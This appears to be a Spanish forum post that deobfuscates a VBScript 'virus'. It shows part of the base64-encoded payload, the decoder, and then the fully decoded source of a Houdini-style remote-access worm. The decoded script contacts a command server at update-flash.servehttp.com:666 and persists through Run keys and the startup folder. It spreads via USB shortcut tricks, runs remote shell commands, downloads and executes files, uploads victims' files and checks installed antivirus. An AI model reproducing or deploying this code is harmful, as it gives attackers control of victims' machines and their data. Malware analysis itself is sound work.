lvbiBod2lkDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KDQpzZXQgcm9vdCA9IGdldG9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25sZXZlbD1pbXBlcnNvbmF0ZX0hXFwuXHJvb3RcY2ltdjIiKQ0Kc2V0IGRpc2tzID0gcm9vdC5leGVjcXVlcnkgKCJzZWxlY3QgKiBmcm9tIHdpbjMyX2xvZ2ljYWxkaXNrIikNCmZvciBlYWNoIGRpc2sgaW4gZGlza3MNCiAgICBpZiAgZGlzay52b2x1bWVzZXJpYWxudW1iZXIgPD4gIiIgdGhlbg0KICAgICAgICBod2lkID0gZGlzay52b2x1bWVzZXJpYWxudW1iZXINCiAgICAgICAgZXhpdCBmb3INCiAgICBlbmQgaWYNCm5leHQNCmVuZCBmdW5jdGlvbg0KDQoNCmZ1bmN0aW9uIHNlY3VyaXR5IA0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCg0Kc2VjdXJpdHkgPSAiIg0KDQpzZXQgb2Jqd21pc2VydmljZSA9IGdldG9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25sZXZlbD1pbXBlcnNvbmF0ZX0hXFwuXHJvb3RcY2ltdjIiKQ0Kc2V0IGNvbGl0ZW1zID0gb2Jqd21pc2VydmljZS5leGVjcXVlcnkoInNlbGVjdCAqIGZyb20gd2luMzJfb3BlcmF0aW5nc3lzdGVtIiwsNDgpDQpmb3IgZWFjaCBvYmppdGVtIGluIGNvbGl0ZW1zDQogICAgdmVyc2lvbnN0ciA9IHNwbGl0IChvYmppdGVtLnZlcnNpb24sIi4iKQ0KbmV4dA0KdmVyc2lvbnN0ciA9IHNwbGl0IChjb2xpdGVtcy52ZXJzaW9uLCIuIikNCm9zdmVyc2lvbiA9IHZlcnNpb25zdHIgKDApICYgIi4iDQpmb3IgIHggPSAxIHRvIHVib3VuZCAodmVyc2lvbnN0cikNCgkgb3N2ZXJzaW9uID0gb3N2ZXJzaW9uICYgIHZlcnNpb25zdHIgKGkpDQpuZXh0DQpvc3ZlcnNpb24gPSBldmFsIChvc3ZlcnNpb24pDQppZiAgb3N2ZXJzaW9uID4gNiB0aGVuIHNjID0gInNlY3VyaXR5Y2VudGVyMiIgZWxzZSBzYyA9ICJzZWN1cml0eWNlbnRlciINCg0Kc2V0IG9ianNlY3VyaXR5Y2VudGVyID0gZ2V0b2JqZWN0KCJ3aW5tZ210czpcXGxvY2FsaG9zdFxyb290XCIgJiBzYykNClNldCBjb2xhbnRpdmlydXMgPSBvYmpzZWN1cml0eWNlbnRlci5leGVjcXVlcnkoInNlbGVjdCAqIGZyb20gYW50aXZpcnVzcHJvZHVjdCIsIndxbCIsMCkNCg0KZm9yIGVhY2ggb2JqYW50aXZpcnVzIGluIGNvbGFudGl2aXJ1cw0KICAgIHNlY3VyaXR5ICA9IHNlY3VyaXR5ICAmIG9iamFudGl2aXJ1cy5kaXNwbGF5bmFtZSAmICIgLiINCm5leHQNCmlmIHNlY3VyaXR5ICA9ICIiIHRoZW4gc2VjdXJpdHkgID0gIm5hbi1hdiINCmVuZCBmdW5jdGlvbg0KDQoNCmZ1bmN0aW9uIGluc3RhbmNlDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KDQp1c2JzcHJlYWRpbmcgPSBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXCIgJiBzcGxpdCAoaW5zdGFsbG5hbWUsIi4iKSgwKSAmICJcIikNCmlmIHVzYnNwcmVhZGluZyA9ICIiIHRoZW4NCiAgIGlmIGxjYXNlICggbWlkKHdzY3JpcHQuc2NyaXB0ZnVsbG5hbWUsMikpID0gIjpcIiAmICBsY2FzZShpbnN0YWxsbmFtZSkgdGhlbg0KICAgICAgdXNic3ByZWFkaW5nID0gInRydWUgLSAiICYgZGF0ZQ0KICAgICAgc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkgICYgIlwiLCAgdXNic3ByZWFkaW5nLCAiUkVHX1NaIg0KICAgZWxzZQ0KICAgICAgdXNic3ByZWFkaW5nID0gImZhbHNlIC0gIiAmIGRhdGUNCiAgICAgIHNoZWxsb2JqLnJlZ3dyaXRlICJIS0VZX0xPQ0FMX01BQ0hJTkVcc29mdHdhcmVcIiAmIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKDApICAmICJcIiwgIHVzYnNwcmVhZGluZywgIlJFR19TWiINCg0KICAgZW5kIGlmDQplbmQgSWYNCg0KDQoNCnVwc3RhcnQNCnNldCBzY3JpcHRmdWxsbmFtZXNob3J0ID0gIGZpbGVzeXN0ZW1vYmouZ2V0ZmlsZSAod3NjcmlwdC5zY3JpcHRmdWxsbmFtZSkNCnNldCBpbnN0YWxsZnVsbG5hbWVzaG9ydCA9ICBmaWxlc3lzdGVtb2JqLmdldGZpbGUgKGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSkNCmlmICBsY2FzZSAoc2NyaXB0ZnVsbG5hbWVzaG9ydC5zaG9ydHBhdGgpIDw+IGxjYXNlIChpbnN0YWxsZnVsbG5hbWVzaG9ydC5zaG9ydHBhdGgpIHRoZW4gDQogICAgc2hlbGxvYmoucnVuICJ3c2NyaXB0LmV4ZSAvL0IgIiAmIGNocigzNCkgJiBpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgJiBDaHIoMzQpDQogICAgd3NjcmlwdC5xdWl0IA0KZW5kIElmDQplcnIuY2xlYXINCnNldCBvbmVvbmNlID0gZmlsZXN5c3RlbW9iai5vcGVudGV4dGZpbGUgKGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSAsOCwgZmFsc2UpDQppZiAgZXJyLm51bWJlciA+IDAgdGhlbiB3c2NyaXB0LnF1aXQNCmVuZCBmdW5jdGlvbg0KDQoNCnN1YiBzaXRlZG93bmxvYWRlciAoZmlsZXVybCxmaWxlbmFtZSkNCg0Kc3RybGluayA9IGZpbGV1cmwNCnN0cnNhdmV0byA9IGluc3RhbGxkaXIgJiBmaWxlbmFtZQ0Kc2V0IG9iamh0dHBkb3dubG9hZCA9IGNyZWF0ZW9iamVjdCgibXN4bWwyLnhtbGh0dHAiICkNCm9iamh0dHBkb3dubG9hZC5vcGVuICJnZXQiLCBzdHJsaW5rLCBmYWxzZQ0Kb2JqaHR0cGRvd25sb2FkLnNlbmQNCg0Kc2V0IG9iamZzb2Rvd25sb2FkID0gY3JlYXRlb2JqZWN0ICgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKQ0KaWYgIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMgKHN0cnNhdmV0bykgdGhlbg0KICAgIG9iamZzb2Rvd25sb2FkLmRlbGV0ZWZpbGUgKHN0cnNhdmV0bykNCmVuZCBpZg0KIA0KaWYgb2JqaHR0cGRvd25sb2FkLnN0YXR1cyA9IDIwMCB0aGVuDQogICBkaW0gIG9ianN0cmVhbWRvd25sb2FkDQogICBzZXQgIG9ianN0cmVhbWRvd25sb2FkID0gY3JlYXRlb2JqZWN0KCJhZG9kYi5zdHJlYW0iKQ0KICAgd2l0aCBvYmpzdHJlYW1kb3dubG9hZA0KCQkudHlwZSA9IDEgDQoJCS5vcGVuDQoJCS53cml0ZSBvYmpodHRwZG93bmxvYWQucmVzcG9uc2Vib2R5DQoJCS5zYXZldG9maWxlIHN0cnNhdmV0bw0KCQkuY2xvc2UNCiAgIGVuZCB3aXRoDQogICBzZXQgb2Jqc3RyZWFtZG93bmxvYWQgPSBub3RoaW5nDQplbmQgaWYNCmlmIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMoc3Ryc2F2ZXRvKSB0aGVuDQogICBzaGVsbG9iai5ydW4gb2JqZnNvZG93bmxvYWQuZ2V0ZmlsZSAoc3Ryc2F2ZXRvKS5zaG9ydHBhdGgNCmVuZCBpZiANCmVuZCBzdWINCg0Kc3ViIGRvd25sb2FkIChmaWxldXJsLGZpbGVkaXIpDQoNCmlmIGZpbGVkaXIgPSAiIiB0aGVuIA0KICAgZmlsZWRpciA9IGluc3RhbGxkaXINCmVuZCBpZg0KDQpzdHJzYXZldG8gPSBmaWxlZGlyICYgbWlkIChmaWxldXJsLCBpbnN0cnJldiAoZmlsZXVybCwiXCIpICsgMSkNCnNldCBvYmpodHRwZG93bmxvYWQgPSBjcmVhdGVvYmplY3QoIm1zeG1sMi54bWxodHRwIikNCm9iamh0dHBkb3dubG9hZC5vcGVuICJwb3N0IiwiaHR0cDovLyIgJiBob3N0ICYgIjoiICYgcG9ydCAmIi8iICYgImlzLXNlbmRpbmciICYgc3BsaXRlciAmIGZpbGV1cmwsIGZhbHNlDQpvYmpodHRwZG93bmxvYWQuc2VuZCAiIg0KICAgICANCnNldCBvYmpmc29kb3dubG9hZCA9IGNyZWF0ZW9iamVjdCAoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0IikNCmlmICBvYmpmc29kb3dubG9hZC5maWxlZXhpc3RzIChzdHJzYXZldG8pIHRoZW4NCiAgICBvYmpmc29kb3dubG9hZC5kZWxldGVmaWxlIChzdHJzYXZldG8pDQplbmQgaWYNCmlmICBvYmpodHRwZG93bmxvYWQuc3RhdHVzID0gMjAwIHRoZW4NCiAgICBkaW0gIG9ianN0cmVhbWRvd25sb2FkDQoJc2V0ICBvYmpzdHJlYW1kb3dubG9hZCA9IGNyZWF0ZW9iamVjdCgiYWRvZGIuc3RyZWFtIikNCiAgICB3aXRoIG9ianN0cmVhbWRvd25sb2FkIA0KCQkgLnR5cGUgPSAxIA0KCQkgLm9wZW4NCgkJIC53cml0ZSBvYmpodHRwZG93bmxvYWQucmVzcG9uc2Vib2R5DQoJCSAuc2F2ZXRvZmlsZSBzdHJzYXZldG8NCgkJIC5jbG9zZQ0KCWVuZCB3aXRoDQogICAgc2V0IG9ianN0cmVhbWRvd25sb2FkICA9IG5vdGhpbmcNCmVuZCBpZg0KaWYgb2JqZnNvZG93bmxvYWQuZmlsZWV4aXN0cyhzdHJzYXZldG8pIHRoZW4NCiAgIHNoZWxsb2JqLnJ1biBvYmpmc29kb3dubG9hZC5nZXRmaWxlIChzdHJzYXZldG8pLnNob3J0cGF0aA0KZW5kIGlmIA0KZW5kIHN1Yg0KDQoNCmZ1bmN0aW9uIHVwbG9hZCAoZmlsZXVybCkNCg0KZGltICBodHRwb2JqLG9ianN0cmVhbXVwbG9hZGUsYnVmZmVyDQpzZXQgIG9ianN0cmVhbXVwbG9hZGUgPSBjcmVhdGVvYmplY3QoImFkb2RiLnN0cmVhbSIpDQp3aXRoIG9ianN0cmVhbXVwbG9hZGUgDQogICAgIC50eXBlID0gMSANCiAgICAgLm9wZW4NCgkgLmxvYWRmcm9tZmlsZSBmaWxldXJsDQoJIGJ1ZmZlciA9IC5yZWFkDQoJIC5jbG9zZQ0KZW5kIHdpdGgNCnNldCBvYmpzdHJlYW1kb3dubG9hZCA9IG5vdGhpbmcNCnNldCBodHRwb2JqID0gY3JlYXRlb2JqZWN0KCJtc3htbDIueG1saHR0cCIpDQpodHRwb2JqLm9wZW4gInBvc3QiLCJodHRwOi8vIiAmIGhvc3QgJiAiOiIgJiBwb3J0ICYiLyIgJiAiaXMtcmVjdmluZyIgJiBzcGxpdGVyICYgZmlsZXVybCwgZmFsc2UNCmh0dHBvYmouc2VuZCBidWZmZXINCmVuZCBmdW5jdGlvbg0KDQoNCmZ1bmN0aW9uIGVudW1kcml2ZXIgKCkNCg0KZm9yICBlYWNoIGRyaXZlIGluIGZpbGVzeXN0ZW1vYmouZHJpdmVzDQppZiAgIGRyaXZlLmlzcmVhZHkgPSB0cnVlIHRoZW4NCiAgICAgZW51bWRyaXZlciA9IGVudW1kcml2ZXIgJiBkcml2ZS5wYXRoICYgInwiICYgZHJpdmUuZHJpdmV0eXBlICYgc3BsaXRlcg0KZW5kIGlmDQpuZXh0DQplbmQgRnVuY3Rpb24NCg0KZnVuY3Rpb24gZW51bWZhZiAoZW51bWRpcikNCg0KZW51bWZhZiA9IGVudW1kaXIgJiBzcGxpdGVyDQpmb3IgIGVhY2ggZm9sZGVyIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyIChlbnVtZGlyKS5zdWJmb2xkZXJzDQogICAgIGVudW1mYWYgPSBlbnVtZmFmICYgZm9sZGVyLm5hbWUgJiAifCIgJiAiIiAmICJ8IiAmICJkIiAmICJ8IiAmIGZvbGRlci5hdHRyaWJ1dGVzICYgc3BsaXRlcg0KbmV4dA0KDQpmb3IgIGVhY2ggZmlsZSBpbiBmaWxlc3lzdGVtb2JqLmdldGZvbGRlciAoZW51bWRpcikuZmlsZXMNCiAgICAgZW51bWZhZiA9IGVudW1mYWYgJiBmaWxlLm5hbWUgJiAifCIgJiBmaWxlLnNpemUgICYgInwiICYgImYiICYgInwiICYgZmlsZS5hdHRyaWJ1dGVzICYgc3BsaXRlcg0KDQpuZXh0DQplbmQgZnVuY3Rpb24NCg0KDQpmdW5jdGlvbiBlbnVtcHJvY2VzcyAoKQ0KDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KDQpzZXQgb2Jqd21pc2VydmljZSA9IGdldG9iamVjdCgid2lubWdtdHM6XFwuXHJvb3RcY2ltdjIiKQ0Kc2V0IGNvbGl0ZW1zID0gb2Jqd21pc2VydmljZS5leGVjcXVlcnkoInNlbGVjdCAqIGZyb20gd2luMzJfcHJvY2VzcyIsLDQ4KQ0KDQpkaW0gb2JqaXRlbQ0KZm9yIGVhY2ggb2JqaXRlbSBpbiBjb2xpdGVtcw0KCWVudW1wcm9jZXNzID0gZW51bXByb2Nlc3MgJiBvYmppdGVtLm5hbWUgJiAifCINCgllbnVtcHJvY2VzcyA9IGVudW1wcm9jZXNzICYgb2JqaXRlbS5wcm9jZXNzaWQgJiAifCINCiAgICBlbnVtcHJvY2VzcyA9IGVudW1wcm9jZXNzICYgb2JqaXRlbS5leGVjdXRhYmxlcGF0aCAmIHNwbGl0ZXINCm5leHQNCmVuZCBmdW5jdGlvbg0KDQpzdWIgZXhpdHByb2Nlc3MgKHBpZCkNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQoNCnNoZWxsb2JqLnJ1biAidGFza2tpbGwgL0YgL1QgL1BJRCAiICYgcGlkLDcsdHJ1ZQ0KZW5kIHN1Yg0KDQpzdWIgZGVsZXRlZmFmICh1cmwpDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KDQpmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgdXJsDQpmaWxlc3lzdGVtb2JqLmRlbGV0ZWZvbGRlciB1cmwNCg0KZW5kIHN1Yg0KDQpmdW5jdGlvbiBjbWRzaGVsbCAoY21kKQ0KDQpkaW0gaHR0cG9iaixvZXhlYyxyZWFkYWxsZnJvbWFueQ0KDQpzZXQgb2V4ZWMgPSBzaGVsbG9iai5leGVjICgiJWNvbXNwZWMlIC9jICIgJiBjbWQpDQppZiBub3Qgb2V4ZWMuc3Rkb3V0LmF0ZW5kb2ZzdHJlYW0gdGhlbg0KICAgcmVhZGFsbGZyb21hbnkgPSBvZXhlYy5zdGRvdXQucmVhZGFsbA0KZWxzZWlmIG5vdCBvZXhlYy5zdGRlcnIuYXRlbmRvZnN0cmVhbSB0aGVuDQogICByZWFkYWxsZnJvbWFueSA9IG9leGVjLnN0ZGVyci5yZWFkYWxsDQplbHNlIA0KICAgcmVhZGFsbGZyb21hbnkgPSAiIg0KZW5kIGlmDQoNCmNtZHNoZWxsID0gcmVhZGFsbGZyb21hbnkNCmVuZCBmdW5jdGlvbg==")
  2. EXECUTEGLOBAL (ABC)
  3. function deCrypt(data)
  4.     deCrypt=YYY(data)
  5. end function
  6. Function YYY(ByVal base64String)
  7.     Const ZZZ = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  8.     Dim dataLength, sOut, groupBegin
  9.  
  10.     base64String = Replace(base64String, vbCrLf, "")
  11.     base64String = Replace(base64String, vbTab, "")
  12.     base64String = Replace(base64String, " ", "")
  13.     dataLength = Len(base64String)
  14.     If dataLength Mod 4 <> 0 Then
  15.          Err.Raise 1, "Base64Decode", "Bad Base64 string."
  16.          Exit Function
  17.     End If
  18.     For groupBegin = 1 To dataLength Step 4
  19.          Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
  20.          numDataBytes = 3
  21.          nGroup = 0
  22.  
  23.          For CharCounter = 0 To 3
  24.               thisChar = Mid(base64String, groupBegin + CharCounter, 1)
  25.  
  26.               If thisChar = "=" Then
  27.                    numDataBytes = numDataBytes - 1
  28.                    thisData = 0
  29.               Else
  30.                    thisData = InStr(1, ZZZ, thisChar, vbBinaryCompare) - 1
  31.               End If

El contenido del "virus" está cifrado de nuevo con Base64, he añadido el siguiente código para descifrarlo:

Código
  1. Set fs = CreateObject("Scripting.FileSystemObject")
  2. Set a = fs.CreateTextFile("dump2.txt", True)
  3. a.WriteLine(ABC)
  4. a.Close

Y el resultado final es el "virus" completamente descifrado, el análisis te lo dejo para ti (o para otro usuario):

Código
  1. '<[ recoder : houdini (c) skype : houdini-fx ]>
  2.  
  3. '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  4.  
  5. host = "update-flash.servehttp.com"
  6. port = 666
  7. installdir = "%temp%"
  8. lnkfile = true
  9. lnkfolder = true
  10.  
  11. '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
  12.  
  13. dim shellobj
  14. set shellobj = wscript.createobject("wscript.shell")
  15. dim filesystemobj
  16. set filesystemobj = createobject("scripting.filesystemobject")
  17. dim httpobj
  18. set httpobj = createobject("msxml2.xmlhttp")
  19.  
  20.  
  21. '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
  22.  
  23. installname = wscript.scriptname
  24. startup = shellobj.specialfolders ("startup") & "\"
  25. installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  26. if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
  27. spliter = "<" & "|" & ">"
  28. sleep = 5000
  29. dim response
  30. dim cmd
  31. dim param
  32. info = ""
  33. usbspreading = ""
  34. startdate = ""
  35. dim oneonce
  36.  
  37. '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
  38. on error resume next
  39.  
  40.  
  41. instance
  42. while true
  43.  
  44. install
  45.  
  46. response = ""
  47. response = post ("is-ready","")
  48. cmd = split (response,spliter)
  49. select case cmd (0)
  50. case "excecute"
  51.      param = cmd (1)
  52.      execute param
  53. case "update"
  54.      param = cmd (1)
  55.      oneonce.close
  56.      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
  57.      oneonce.write param
  58.      oneonce.close
  59.      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
  60.      wscript.quit
  61. case "uninstall"
  62.      uninstall
  63. case "send"
  64.      download cmd (1),cmd (2)
  65. case "site-send"
  66.      sitedownloader cmd (1),cmd (2)
  67. case "recv"
  68.      param = cmd (1)
  69.      upload (param)
  70. case  "enum-driver"
  71.      post "is-enum-driver",enumdriver  
  72. case  "enum-faf"
  73.      param = cmd (1)
  74.      post "is-enum-faf",enumfaf (param)
  75. case  "enum-process"
  76.      post "is-enum-process",enumprocess  
  77. case  "cmd-shell"
  78.      param = cmd (1)
  79.      post "is-cmd-shell",cmdshell (param)  
  80. case  "delete"
  81.      param = cmd (1)
  82.      deletefaf (param)
  83. case  "exit-process"
  84.      param = cmd (1)
  85.      exitprocess (param)
  86. case  "sleep"
  87.      param = cmd (1)
  88.      sleep = eval (param)        
  89. end select
  90.  
  91. wscript.sleep sleep
  92.  
  93. wend
  94.  
  95.  
  96. sub install
  97. on error resume next
  98. dim lnkobj
  99. dim filename
  100. dim foldername
  101. dim fileicon
  102. dim foldericon
  103.  
  104. upstart
  105. for each drive in filesystemobj.drives
  106.  
  107. if  drive.isready = true then
  108. if  drive.freespace  > 0 then
  109. if  drive.drivetype  = 1 then
  110.    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
  111.    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
  112.        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
  113.    end if
  114.    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
  115.        if not lnkfile then exit for
  116.        if  instr (file.name,".") then
  117.            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
  118.                file.attributes = 2+4
  119.                if  ucase (file.name) <> ucase (installname) then
  120.                    filename = split(file.name,".")
  121.                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk")
  122.                    lnkobj.windowstyle = 7
  123.                    lnkobj.targetpath = "cmd.exe"
  124.                    lnkobj.workingdirectory = ""
  125.                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  126.                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
  127.                    if  instr (fileicon,",") = 0 then
  128.                        lnkobj.iconlocation = file.path
  129.                    else
  130.                        lnkobj.iconlocation = fileicon
  131.                    end if
  132.                    lnkobj.save()
  133.                end if
  134.            end if
  135.        end if
  136.    next
  137.    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  138.        if not lnkfolder then exit for
  139.        folder.attributes = 2+4
  140.        foldername = folder.name
  141.        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk")
  142.        lnkobj.windowstyle = 7
  143.        lnkobj.targetpath = "cmd.exe"
  144.        lnkobj.workingdirectory = ""
  145.        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  146.        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
  147.        if  instr (foldericon,",") = 0 then
  148.            lnkobj.iconlocation = folder.path
  149.        else
  150.            lnkobj.iconlocation = foldericon
  151.        end if
  152.        lnkobj.save()
  153.    next
  154. end If
  155. end If
  156. end if
  157. next
  158. err.clear
  159. end sub
  160.  
  161. sub uninstall
  162. on error resume next
  163. dim filename
  164. dim foldername
  165.  
  166. shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  167. shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  168. filesystemobj.deletefile startup & installname ,true
  169. filesystemobj.deletefile wscript.scriptfullname ,true
  170.  
  171. for  each drive in filesystemobj.drives
  172. if  drive.isready = true then
  173. if  drive.freespace  > 0 then
  174. if  drive.drivetype  = 1 then
  175.    for  each file in filesystemobj.getfolder ( drive.path & "\").files
  176.         on error resume next
  177.         if  instr (file.name,".") then
  178.             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
  179.                 file.attributes = 0
  180.                 if  ucase (file.name) <> ucase (installname) then
  181.                     filename = split(file.name,".")
  182.                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
  183.                 else
  184.                     filesystemobj.deletefile (drive.path & "\" & file.name)
  185.                 end If
  186.             else
  187.                 filesystemobj.deletefile (file.path)
  188.             end if
  189.         end if
  190.     next
  191.     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  192.         folder.attributes = 0
  193.     next
  194. end if
  195. end if
  196. end if
  197. next
  198. wscript.quit
  199. end sub
  200.  
  201. function post (cmd ,param)
  202.  
  203. post = param
  204. httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
  205. httpobj.setrequestheader "user-agent:",information
  206. httpobj.send param
  207. post = httpobj.responsetext
  208. end function
  209.  
  210. function information
  211. on error resume next
  212. if  inf = "" then
  213.    inf = hwid & spliter
  214.    inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter
  215.    inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
  216.  
  217.    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  218.    set os = root.execquery ("select * from win32_operatingsystem")
  219.    for each osinfo in os
  220.       inf = inf & osinfo.caption & spliter  
  221.       exit for
  222.    next
  223.    inf = inf & "plus" & spliter
  224.    inf = inf & security & spliter
  225.    inf = inf & usbspreading
  226.    information = inf  
  227. else
  228.    information = inf
  229. end if
  230. end function
  231.  
  232.  
  233. sub upstart ()
  234. on error resume Next
  235.  
  236. shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  237. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  238. filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
  239. filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
  240.  
  241. end sub
  242.  
  243.  
  244. function hwid
  245. on error resume next
  246.  
  247. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  248. set disks = root.execquery ("select * from win32_logicaldisk")
  249. for each disk in disks
  250.    if  disk.volumeserialnumber <> "" then
  251.        hwid = disk.volumeserialnumber
  252.        exit for
  253.    end if
  254. next
  255. end function
  256.  
  257.  
  258. function security
  259. on error resume next
  260.  
  261. security = ""
  262.  
  263. set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  264. set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
  265. for each objitem in colitems
  266.    versionstr = split (objitem.version,".")
  267. next
  268. versionstr = split (colitems.version,".")
  269. osversion = versionstr (0) & "."
  270. for  x = 1 to ubound (versionstr)
  271. osversion = osversion &  versionstr (i)
  272. next
  273. osversion = eval (osversion)
  274. if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
  275.  
  276. set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
  277. Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
  278.  
  279. for each objantivirus in colantivirus
  280.    security  = security  & objantivirus.displayname & " ."
  281. next
  282. if security  = "" then security  = "nan-av"
  283. end function
  284.  
  285.  
  286. function instance
  287. on error resume next
  288.  
  289. usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
  290. if usbspreading = "" then
  291.   if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
  292.      usbspreading = "true - " & date
  293.      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  294.   else
  295.      usbspreading = "false - " & date
  296.      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  297.  
  298.   end if
  299. end If
  300.  
  301.  
  302.  
  303. upstart
  304. set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
  305. set installfullnameshort =  filesystemobj.getfile (installdir & installname)
  306. if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
  307.    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
  308.    wscript.quit
  309. end If
  310. err.clear
  311. set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
  312. if  err.number > 0 then wscript.quit
  313. end function
  314.  
  315.  
  316. sub sitedownloader (fileurl,filename)
  317.  
  318. strlink = fileurl
  319. strsaveto = installdir & filename
  320. set objhttpdownload = createobject("msxml2.xmlhttp" )
  321. objhttpdownload.open "get", strlink, false
  322. objhttpdownload.send
  323.  
  324. set objfsodownload = createobject ("scripting.filesystemobject")
  325. if  objfsodownload.fileexists (strsaveto) then
  326.    objfsodownload.deletefile (strsaveto)
  327. end if
  328.  
  329. if objhttpdownload.status = 200 then
  330.   dim  objstreamdownload
  331.   set  objstreamdownload = createobject("adodb.stream")
  332.   with objstreamdownload
  333. .type = 1
  334. .open
  335. .write objhttpdownload.responsebody
  336. .savetofile strsaveto
  337. .close
  338.   end with
  339.   set objstreamdownload = nothing
  340. end if
  341. if objfsodownload.fileexists(strsaveto) then
  342.   shellobj.run objfsodownload.getfile (strsaveto).shortpath
  343. end if
  344. end sub
  345.  
  346. sub download (fileurl,filedir)
  347.  
  348. if filedir = "" then
  349.   filedir = installdir
  350. end if
  351.  
  352. strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
  353. set objhttpdownload = createobject("msxml2.xmlhttp")
  354. objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
  355. objhttpdownload.send ""
  356.  
  357. set objfsodownload = createobject ("scripting.filesystemobject")
  358. if  objfsodownload.fileexists (strsaveto) then
  359.    objfsodownload.deletefile (strsaveto)
  360. end if
  361. if  objhttpdownload.status = 200 then
  362.    dim  objstreamdownload
  363. set  objstreamdownload = createobject("adodb.stream")
  364.    with objstreamdownload
  365. .type = 1
  366. .open
  367. .write objhttpdownload.responsebody
  368. .savetofile strsaveto
  369. .close
  370. end with
  371.    set objstreamdownload  = nothing
  372. end if
  373. if objfsodownload.fileexists(strsaveto) then
  374.   shellobj.run objfsodownload.getfile (strsaveto).shortpath
  375. end if
  376. end sub
  377.  
  378.  
  379. function upload (fileurl)
